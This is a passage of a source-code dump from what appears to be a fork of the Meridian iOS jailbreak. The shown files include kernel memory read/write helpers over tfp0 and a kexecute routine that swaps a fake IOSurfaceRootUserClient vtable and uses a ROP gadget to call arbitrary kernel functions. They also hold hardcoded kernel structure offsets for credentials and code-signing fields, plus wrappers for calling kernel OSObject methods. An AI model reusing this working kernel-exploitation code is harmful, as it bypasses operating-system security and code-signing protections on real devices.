IOServiceMatching("IOSurfaceRoot")); 12 | 13 | if (service == IO_OBJECT_NULL) { 14 | printf(" [-] unable to find service\n"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 19 | if (err != KERN_SUCCESS) { 20 | printf(" [-] unable to get user client connection\n"); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | 25 | printf("got user client: 0x%x\n", user_client); 26 | return user_client; 27 | } 28 | 29 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread 30 | pthread_mutex_t kexecute_lock; 31 | static mach_port_t user_client; 32 | static uint64_t IOSurfaceRootUserClient_port; 33 | static uint64_t IOSurfaceRootUserClient_addr; 34 | static uint64_t fake_vtable; 35 | static uint64_t fake_client; 36 | const int fake_kalloc_size = 0x1000; 37 | 38 | void init_kexecute() { 39 | user_client = prepare_user_client(); 40 | 41 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 42 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 43 | 44 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 45 | 46 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 47 | 48 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 49 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 50 | 51 | // Create the vtable in the kernel memory, then copy the existing vtable into there 52 | fake_vtable = kalloc(fake_kalloc_size); 53 | 54 | for (int i = 0; i < 0x200; i++) { 55 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 56 | } 57 | 58 | // Create the fake user client 59 | fake_client = kalloc(fake_kalloc_size); 60 | 61 | for (int i = 0; i < 0x200; i++) { 62 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 63 | } 64 | 65 | // Write our fake vtable into the fake user client 66 | wk64(fake_client, fake_vtable); 67 | 68 | // Replace the user client with ours 69 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 70 | 71 | // Now the userclient port we have will look into our fake user client rather than the old one 72 | 73 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 74 | wk64(fake_vtable+8*0xB7, offset_add_ret_gadget); 75 | 76 | pthread_mutex_init(&kexecute_lock, NULL); 77 | } 78 | 79 | void term_kexecute() { 80 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 81 | kfree(fake_vtable, fake_kalloc_size); 82 | kfree(fake_client, fake_kalloc_size); 83 | } 84 | 85 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 86 | pthread_mutex_lock(&kexecute_lock); 87 | 88 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 89 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 90 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 91 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 92 | // through like normal. 93 | 94 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 95 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 96 | // (i'm not actually sure if the switch back is necessary but meh) 97 | 98 | uint64_t offx20 = rk64(fake_client+0x40); 99 | uint64_t offx28 = rk64(fake_client+0x48); 100 | wk64(fake_client+0x40, x0); 101 | wk64(fake_client+0x48, addr); 102 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 103 | wk64(fake_client+0x40, offx20); 104 | wk64(fake_client+0x48, offx28); 105 | 106 | pthread_mutex_unlock(&kexecute_lock); 107 | 108 | return returnval; 109 | } 110 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uint64_t kalloc(vm_size_t size); 4 | void kfree(mach_vm_address_t address, vm_size_t size); 5 | 6 | size_t kread(uint64_t where, void *p, size_t size); 7 | uint16_t rk16(uint64_t kaddr); 8 | uint32_t rk32(uint64_t kaddr); 9 | uint64_t rk64(uint64_t kaddr); 10 | 11 | size_t kwrite(uint64_t where, const void *p, size_t size); 12 | void wk16(uint64_t kaddr, uint16_t val); 13 | void wk32(uint64_t kaddr, uint32_t val); 14 | void wk64(uint64_t kaddr, uint64_t val); 15 | 16 | uint64_t zm_fix_addr(uint64_t addr); 17 | 18 | int kstrcmp(uint64_t kstr, const char *str); 19 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/kmem.m: -------------------------------------------------------------------------------- 1 | #include "kern_utils.h" 2 | #include "kmem.h" 3 | 4 | #import 5 | 6 | #define MAX_CHUNK_SIZE 0xFFF 7 | 8 | size_t kread(uint64_t where, void *p, size_t size) { 9 | int rv; 10 | size_t offset = 0; 11 | while (offset < size) { 12 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 13 | if (chunk > size - offset) { 14 | chunk = size - offset; 15 | } 16 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 17 | if (rv || sz == 0) { 18 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 19 | break; 20 | } 21 | offset += sz; 22 | } 23 | return offset; 24 | } 25 | 26 | size_t kwrite(uint64_t where, const void *p, size_t size) { 27 | int rv; 28 | size_t offset = 0; 29 | while (offset < size) { 30 | size_t chunk = MAX_CHUNK_SIZE; 31 | if (chunk > size - offset) { 32 | chunk = size - offset; 33 | } 34 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk); 35 | if (rv) { 36 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 37 | break; 38 | } 39 | offset += chunk; 40 | } 41 | return offset; 42 | } 43 | 44 | uint64_t kalloc(vm_size_t size) { 45 | mach_vm_address_t address = 0; 46 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 47 | return address; 48 | } 49 | 50 | void kfree(mach_vm_address_t address, vm_size_t size) { 51 | mach_vm_deallocate(tfp0, address, size); 52 | } 53 | 54 | uint16_t rk16(uint64_t kaddr) { 55 | uint16_t val = 0; 56 | kread(kaddr, &val, sizeof(val)); 57 | return val; 58 | } 59 | 60 | uint32_t rk32(uint64_t kaddr) { 61 | uint32_t val = 0; 62 | kread(kaddr, &val, sizeof(val)); 63 | return val; 64 | } 65 | 66 | uint64_t rk64(uint64_t kaddr) { 67 | uint64_t val = 0; 68 | kread(kaddr, &val, sizeof(val)); 69 | return val; 70 | } 71 | 72 | void wk16(uint64_t kaddr, uint16_t val) { 73 | kwrite(kaddr, &val, sizeof(val)); 74 | } 75 | 76 | void wk32(uint64_t kaddr, uint32_t val) { 77 | kwrite(kaddr, &val, sizeof(val)); 78 | } 79 | 80 | void wk64(uint64_t kaddr, uint64_t val) { 81 | kwrite(kaddr, &val, sizeof(val)); 82 | } 83 | 84 | // thx Siguza 85 | typedef struct { 86 | uint64_t prev; 87 | uint64_t next; 88 | uint64_t start; 89 | uint64_t end; 90 | } kmap_hdr_t; 91 | 92 | uint64_t zm_fix_addr(uint64_t addr) { 93 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 94 | 95 | if (zm_hdr.start == 0) { 96 | uint64_t zone_map = rk64(offset_zonemap + kernel_slide); 97 | 98 | // hdr is at offset 0x10, mutexes at start 99 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 100 | 101 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 102 | NSLog(@"kread of zone_map failed!"); 103 | return 0; 104 | } 105 | 106 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 107 | NSLog(@"zone_map is too big, sorry.\n"); 108 | return 0; 109 | } 110 | } 111 | 112 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); 113 | 114 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 115 | } 116 | 117 | int kstrcmp(uint64_t kstr, const char *str) { 118 | size_t len = strlen(str) + 1; 119 | char *local = malloc(len + 1); 120 | local[len] = '\0'; 121 | 122 | int ret = 1; 123 | 124 | if (kread(kstr, local, len) == len) { 125 | ret = strcmp(local, str); 126 | } 127 | 128 | free(local); 129 | 130 | return ret; 131 | } 132 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/offsetof.c: -------------------------------------------------------------------------------- 1 | 2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 3 | unsigned offsetof_task = 0x18; // proc_t::task 4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid 5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid 6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid 7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid 8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space 14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 17 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 18 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 19 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 20 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 21 | unsigned offsetof_special = 2 * sizeof(long); // host::special 22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 23 | 24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups 29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid 30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 31 | 32 | unsigned offsetof_v_type = 0x70; // vnode::v_type 33 | unsigned offsetof_v_id = 0x74; // vnode::v_id 34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 35 | 36 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 37 | 38 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 39 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 40 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 41 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 42 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 43 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 44 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 45 | 46 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags 47 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/offsetof.h: -------------------------------------------------------------------------------- 1 | 2 | extern unsigned offsetof_p_pid; 3 | extern unsigned offsetof_task; 4 | extern unsigned offsetof_p_uid; 5 | extern unsigned offsetof_p_gid; 6 | extern unsigned offsetof_p_ruid; 7 | extern unsigned offsetof_p_rgid; 8 | extern unsigned offsetof_p_ucred; 9 | extern unsigned offsetof_p_csflags; 10 | extern unsigned offsetof_itk_self; 11 | extern unsigned offsetof_itk_sself; 12 | extern unsigned offsetof_itk_bootstrap; 13 | extern unsigned offsetof_itk_space; 14 | extern unsigned offsetof_ip_mscount; 15 | extern unsigned offsetof_ip_srights; 16 | extern unsigned offsetof_ip_kobject; 17 | extern unsigned offsetof_p_textvp; 18 | extern unsigned offsetof_p_textoff; 19 | extern unsigned offsetof_p_cputype; 20 | extern unsigned offsetof_p_cpu_subtype; 21 | extern unsigned offsetof_special; 22 | extern unsigned offsetof_ipc_space_is_table; 23 | 24 | extern unsigned offsetof_ucred_cr_uid; 25 | extern unsigned offsetof_ucred_cr_ruid; 26 | extern unsigned offsetof_ucred_cr_svuid; 27 | extern unsigned offsetof_ucred_cr_ngroups; 28 | extern unsigned offsetof_ucred_cr_groups; 29 | extern unsigned offsetof_ucred_cr_rgid; 30 | extern unsigned offsetof_ucred_cr_svgid; 31 | 32 | extern unsigned offsetof_v_type; 33 | extern unsigned offsetof_v_id; 34 | extern unsigned offsetof_v_ubcinfo; 35 | 36 | extern unsigned offsetof_ubcinfo_csblobs; 37 | 38 | extern unsigned offsetof_csb_cputype; 39 | extern unsigned offsetof_csb_flags; 40 | extern unsigned offsetof_csb_base_offset; 41 | extern unsigned offsetof_csb_entitlements_offset; 42 | extern unsigned offsetof_csb_signer_type; 43 | extern unsigned offsetof_csb_platform_binary; 44 | extern unsigned offsetof_csb_platform_path; 45 | 46 | extern unsigned offsetof_t_flags; 47 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kern_utils.h" 4 | #include "kexecute.h" 5 | #include "kmem.h" 6 | #include "osobject.h" 7 | 8 | // offsets in vtable: 9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 12 | 13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 16 | 17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 20 | 21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 22 | 23 | // 1 on success, 0 on error 24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 25 | size_t len = strlen(key) + 1; 26 | 27 | uint64_t ks = kalloc(len); 28 | kwrite(ks, key, len); 29 | 30 | uint64_t vtab = rk64(dict); 31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 32 | 33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 34 | 35 | kfree(ks, len); 36 | 37 | return rv; 38 | } 39 | 40 | // XXX it can return 0 in lower 32 bits but still be valid 41 | // fix addr of returned value and check if rk64 gives ptr 42 | // to vtable addr saved before 43 | 44 | // address if exists, 0 if not 45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 46 | size_t len = strlen(key) + 1; 47 | 48 | uint64_t ks = kalloc(len); 49 | kwrite(ks, key, len); 50 | 51 | uint64_t vtab = rk64(dict); 52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 53 | 54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); 55 | 56 | kfree(ks, len); 57 | 58 | return rv; 59 | } 60 | 61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 62 | uint64_t ret = _OSDictionary_GetItem(dict, key); 63 | 64 | if (ret != 0) { 65 | // XXX can it be not in zalloc?.. 66 | ret = zm_fix_addr(ret); 67 | } 68 | 69 | return ret; 70 | } 71 | 72 | // 1 on success, 0 on error 73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 74 | uint64_t vtab = rk64(dict); 75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 76 | 77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 78 | } 79 | 80 | // 1 on success, 0 on error 81 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 82 | uint64_t vtab = rk64(array); 83 | uint64_t f = rk64(vtab + off_OSArray_Merge); 84 | 85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 86 | } 87 | 88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 89 | uint64_t vtab = rk64(array); 90 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 91 | 92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 93 | } 94 | 95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 96 | uint64_t ret = _OSArray_GetObject(array, idx); 97 | 98 | if (ret != 0){ 99 | // XXX can it be not in zalloc?.. 100 | ret = zm_fix_addr(ret); 101 | } 102 | return ret; 103 | } 104 | 105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 106 | uint64_t vtab = rk64(array); 107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 108 | 109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 110 | } 111 | 112 | // XXX error handling just for fun? :) 113 | uint64_t _OSUnserializeXML(const char *buffer) { 114 | size_t len = strlen(buffer) + 1; 115 | 116 | uint64_t ks = kalloc(len); 117 | kwrite(ks, buffer, len); 118 | 119 | uint64_t errorptr = 0; 120 | 121 | uint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0); 122 | kfree(ks, len); 123 | 124 | return rv; 125 | } 126 | 127 | uint64_t OSUnserializeXML(const char *buffer) { 128 | uint64_t ret = _OSUnserializeXML(buffer); 129 | 130 | if (ret != 0) { 131 | // XXX can it be not in zalloc?.. 132 | ret = zm_fix_addr(ret); 133 | } 134 | 135 | return ret; 136 | } 137 | 138 | void OSObject_Release(uint64_t osobject) { 139 | uint64_t vtab = rk64(osobject); 140 | uint64_t f = rk64(vtab + off_OSObject_Release); 141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 142 | } 143 | 144 | void OSObject_Retain(uint64_t osobject) { 145 | uint64_t vtab = rk64(osobject); 146 | uint64_t f = rk64(vtab + off_OSObject_Release); 147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 148 | } 149 | 150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 151 | uint64_t vtab = rk64(osobject); 152 | uint64_t f = rk64(vtab + off_OSObject_Release); 153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 154 | } 155 | 156 | unsigned int OSString_GetLength(uint64_t osstring){ 157 | uint64_t vtab = rk64(osstring); 158 | uint64_t f = rk64(vtab + off_OSString_GetLength); 159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 160 | } 161 | 162 | char *OSString_CopyString(uint64_t osstring){ 163 | unsigned int length = OSString_GetLength(osstring); 164 | char *str = malloc(length + 1); 165 | str[length] = 0; 166 | 167 | kread(OSString_CStringPtr(osstring), str, length); 168 | return str; 169 | } 170 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/osobject.h: -------------------------------------------------------------------------------- 1 | 2 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 6 | #define OSString_CStringPtr(str) rk64(str + 0x10) 7 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 8 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 9 | 10 | // see osobject.c for info 11 | 12 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 14 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 17 | int OSArray_Merge(uint64_t array, uint64_t aArray); 18 | uint64_t OSUnserializeXML(const char *buffer); 19 | 20 | void OSObject_Release(uint64_t osobject); 21 | void OSObject_Retain(uint64_t osobject); 22 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 23 | 24 | unsigned int OSString_GetLength(uint64_t osstring); 25 | char *OSString_CopyString(uint64_t osstring); 26 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/kern_utils.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #import 4 | #import 5 | #import 6 | 7 | #import 8 | 9 | /****** IOKit/IOKitLib.h *****/ 10 | typedef mach_port_t io_service_t; 11 | typedef mach_port_t io_connect_t; 12 | 13 | extern const mach_port_t kIOMasterPortDefault; 14 | #define IO_OBJECT_NULL (0) 15 | 16 | kern_return_t 17 | IOConnectCallAsyncMethod( 18 | mach_port_t connection, 19 | uint32_t selector, 20 | mach_port_t wakePort, 21 | uint64_t* reference, 22 | uint32_t referenceCnt, 23 | const uint64_t* input, 24 | uint32_t inputCnt, 25 | const void* inputStruct, 26 | size_t inputStructCnt, 27 | uint64_t* output, 28 | uint32_t* outputCnt, 29 | void* outputStruct, 30 | size_t* outputStructCntP); 31 | 32 | kern_return_t 33 | IOConnectCallMethod( 34 | mach_port_t connection, 35 | uint32_t selector, 36 | const uint64_t* input, 37 | uint32_t inputCnt, 38 | const void* inputStruct, 39 | size_t inputStructCnt, 40 | uint64_t* output, 41 | uint32_t* outputCnt, 42 | void* outputStruct, 43 | size_t* outputStructCntP); 44 | 45 | io_service_t 46 | IOServiceGetMatchingService( 47 | mach_port_t _masterPort, 48 | CFDictionaryRef matching); 49 | 50 | CFMutableDictionaryRef 51 | IOServiceMatching( 52 | const char* name); 53 | 54 | kern_return_t 55 | IOServiceOpen( 56 | io_service_t service, 57 | task_port_t owningTask, 58 | uint32_t type, 59 | io_connect_t* connect ); 60 | 61 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 62 | kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); 63 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 64 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 65 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 66 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 67 | 68 | #define CS_VALID 0x0000001 /* dynamically valid */ 69 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 70 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 71 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 72 | 73 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 74 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 75 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 76 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 77 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 78 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 79 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 80 | 81 | #define CS_ALLOWED_MACHO 0x00ffffe 82 | 83 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 84 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 85 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 86 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 87 | 88 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 89 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 90 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 91 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 92 | 93 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ 94 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ 95 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code */ 96 | 97 | extern mach_port_t tfp0; 98 | extern uint64_t kernel_base; 99 | extern uint64_t kernel_slide; 100 | 101 | extern uint64_t kernprocaddr; 102 | extern uint64_t offset_zonemap; 103 | 104 | extern uint64_t offset_add_ret_gadget; 105 | extern uint64_t offset_osboolean_true; 106 | extern uint64_t offset_osboolean_false; 107 | extern uint64_t offset_osunserializexml; 108 | extern uint64_t offset_smalloc; 109 | 110 | uint64_t find_port(mach_port_name_t port); 111 | 112 | uint64_t proc_find(int pd); 113 | 114 | void platformize(int pd); 115 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/mach/mig.defs: -------------------------------------------------------------------------------- 1 | // mig -sheader jailbreak_daemonServer.h -header jailbreak_daemonUser.h mig.defs 2 | 3 | subsystem jailbreak_daemon 500; 4 | userprefix jbd_; 5 | serverprefix jbd_; 6 | 7 | WaitTime 2500; 8 | 9 | #include 10 | #include 11 | 12 | routine call(server_port : mach_port_t; 13 | in command : uint8_t; 14 | in pid : uint32_t); 15 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | // see https://stek29.rocks/2018/01/26/sandbox.html 3 | 4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc); 5 | uint64_t extension_create_file(const char* path, uint64_t nextptr); 6 | int has_file_extension(uint64_t sb, const char* path); 7 | -------------------------------------------------------------------------------- /Meridian/libimg4tool.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libimg4tool.a -------------------------------------------------------------------------------- /Meridian/libmerged.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libmerged.a -------------------------------------------------------------------------------- /Meridian/liboffsetfinder64.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/liboffsetfinder64.a -------------------------------------------------------------------------------- /Meridian/libplist++.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libplist++.a -------------------------------------------------------------------------------- /Meridian/libplist.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/libplist.a -------------------------------------------------------------------------------- /Meridian/pspawn_hook/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = pspawn_hook.dylib 2 | OUTDIR ?= bin 3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard mach/*.c) 4 | 5 | CC = xcrun -sdk iphoneos gcc -arch arm64 -arch armv7 -arch armv7s 6 | LDID = ldid 7 | CFLAGS = -dynamiclib -I./mach -framework Foundation 8 | 9 | all: $(OUTDIR)/$(TARGET) 10 | 11 | $(OUTDIR): 12 | mkdir -p $(OUTDIR) 13 | 14 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) 15 | $(CC) $(CFLAGS) -o $@ $^ 16 | $(LDID) -S $@ 17 | 18 | install: all 19 | 20 | clean: 21 | rm -rf $(OUTDIR) 22 | -------------------------------------------------------------------------------- /Meridian/pspawn_hook/fishhook.c: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.c -------------------------------------------------------------------------------- /Meridian/pspawn_hook/fishhook.h: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.h -------------------------------------------------------------------------------- /Meridian/pspawn_hook/mach/jailbreak_daemonUser.h: -------------------------------------------------------------------------------- 1 | #ifndef _jailbreak_daemon_user_ 2 | #define _jailbreak_daemon_user_ 3 | 4 | /* Module jailbreak_daemon */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | /* BEGIN VOUCHER CODE */ 17 | 18 | #ifndef KERNEL 19 | #if defined(__has_include) 20 | #if __has_include() 21 | #ifndef USING_VOUCHERS 22 | #define USING_VOUCHERS 23 | #endif 24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__ 25 | #define __VOUCHER_FORWARD_TYPE_DECLS__ 26 | 